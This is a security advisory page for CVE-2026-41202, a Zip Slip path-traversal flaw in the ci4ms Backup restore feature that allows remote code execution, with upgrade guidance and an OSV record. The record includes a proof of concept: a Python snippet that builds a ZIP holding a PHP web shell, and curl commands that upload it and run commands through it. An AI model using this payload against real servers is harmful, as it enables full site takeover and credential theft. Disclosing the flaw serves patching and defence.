CVE-2026-41202: CI4MS Backup Remote Code Execution Vulnerability
CRITICALCVE-2026-41202 is a CRITICAL remote code execution vulnerability (CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) affecting CI4MS Backup libraries in the Packagist ecosystem. The issue involves :restore is vulnerable to zip slip leading to rce. Remediation is available by upgrading affected packages to version 0.31.5.0.
CVE-2026-41202 at a Glance
How to Fix CVE-2026-41202
To remediate this vulnerability, upgrade all affected CI4MS Backup dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
Upgrade ci4-cms-erp/ci4ms to 0.31.5.0
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
inspect dependencies for ci4-cms-erp/ci4ms
How to Check if You Are Affected
To determine whether your application is affected by CVE-2026-41202, inspect your project dependencies for CI4MS Backup:
inspect dependencies for ci4-cms-erp/ci4ms
Analyze the terminal output to locate any version of CI4MS Backup in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.31.5.0), your application is affected.
Note: Verify declared build manifests and deployed runtime container environments.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), where the product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. In CI4MS Backup, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2026-41202 Affected CI4MS Backup Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
ci4-cms-erp/ci4ms
|
Packagist |
< 0.31.5.0
|
0.31.5.0
|
References
Frequently Asked Questions
What is CVE-2026-41202?
Which CI4MS Backup versions are affected?
What version fixes CVE-2026-41202?
Is ci4-cms-erp/ci4ms affected?
What CWE is associated with CVE-2026-41202?
How can I check Packagist dependencies for CVE-2026-41202?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-xp9f-pvvc-57p4",
"modified" : "2026-05-08T19:55:21Z",
"published" : "2026-04-22T17:28:39Z",
"aliases" : [ "CVE-2026-41202" ],
"summary" : "CI4MS Backup::restore is vulnerable to Zip Slip leading to RCE",
"details" : "### Summary\nci4ms Backup::restore extracts user uploaded ZIP archives without validating entry names, allowing an authenticated backend user with the backup create permission to write files to arbitrary filesystem locations (Zip Slip) and achieve remote code execution by dropping a PHP file under the public web root.\n\n### Details\nmodules/Backup/Controllers/Backup.php:80-119 implements the restore action. The uploaded file is moved to `WRITEPATH . 'uploads/'`, and if the extension is `zip`, ZipArchive::extractTo() is called directly without iterating entries to verify they resolve inside the destination:\n\n```php\npublic function restore()\n{\n $valData = ([\n 'backup_file' => ['label' => 'Backup File', 'rules' => 'uploaded[backup_file]|ext_in[backup_file,zip]'],\n ]);\n if ($this->validate($valData) == false) return redirect()->route('backup')->withInput()->with('errors', $this->validator->getErrors());\n $file = $this->request->getFile('backup_file');\n\n if ($file && $file->isValid() && ! $file->hasMoved()) {\n $newName = $file->getRandomName();\n $uploadPath = WRITEPATH . 'uploads/';\n ...\n $filePath = WRITEPATH . 'uploads/' . $newName;\n $sqlPath = $filePath;\n if ($ext === 'zip') {\n $zip = new \\ZipArchive();\n if ($zip->open($filePath) === true) {\n $zip->extractTo($uploadPath); // no entry-name validation\n $sqlPath = $uploadPath . $zip->getNameIndex(0);\n $zip->close();\n @unlink($filePath);\n }\n }\n ...\n }\n}\n```\n\nA ZIP containing entries like `../../public/shell.php` is extracted outside `writable/uploads/` into directories served by PHP. The author validates entries correctly in modules/Methods/Controllers/Methods.php:165-175 with a realpath + regex loop; the same check is missing here.\n\nRouting: modules/Backup/Config/Routes.php binds `POST backend/backup/restore` to Backup::restore with `role=create`, and modules/Backup/Config/BackupConfig.php adds `backend/backup` and `backend/backup/*` to `csrfExcept`, so the route accepts cross-site POSTs from an authenticated administrator's browser.\n\n### PoC\nBuild the archive:\n\n```python\npython3 -c \"\nimport zipfile\nwith zipfile.ZipFile('evil.zip','w') as z:\n z.writestr('../../public/shell.php', '<?php system(\\$_GET[\\\"c\\\"]); ?>')\n z.writestr('dump.sql', 'SELECT 1;')\n\"\n```\n\nSubmit it as a backup to restore:\n\n```bash\ncurl -i -b 'ci4ms_session=<SESSION_ID>' \\\n -F 'backup_file=@evil.zip' \\\n https://target.example.com/backend/backup/restore\n```\n\nTrigger the shell:\n\n```bash\ncurl 'https://target.example.com/shell.php?c=id'\n# uid=33(www-data) gid=33(www-data) groups=33(www-data)\n```\n\n### Impact\nAny ci4ms account that can restore a backup can write arbitrary files under the application root and gain remote code execution on the server, fully compromising the installation, the database credentials stored in .env, and any content the site handles. Because the route is in the csrfExcept list, a logged-in administrator who visits a malicious page can be forced to perform the restore cross-site, turning this into drive-by RCE against site operators.",
"severity" : [ {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "Packagist",
"name" : "ci4-cms-erp/ci4ms"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "0.31.5.0"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/ci4-cms-erp/ci4ms/security/advisories/GHSA-xp9f-pvvc-57p4"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-41202"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/ci4-cms-erp/ci4ms"
}, {
"type" : "WEB",
"url" : "https://github.com/ci4-cms-erp/ci4ms/releases/tag/0.31.5.0"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-22" ],
"severity" : "CRITICAL",
"github_reviewed" : true,
"github_reviewed_at" : "2026-04-22T17:28:39Z",
"nvd_published_at" : "2026-05-07T04:16:27Z"
}
}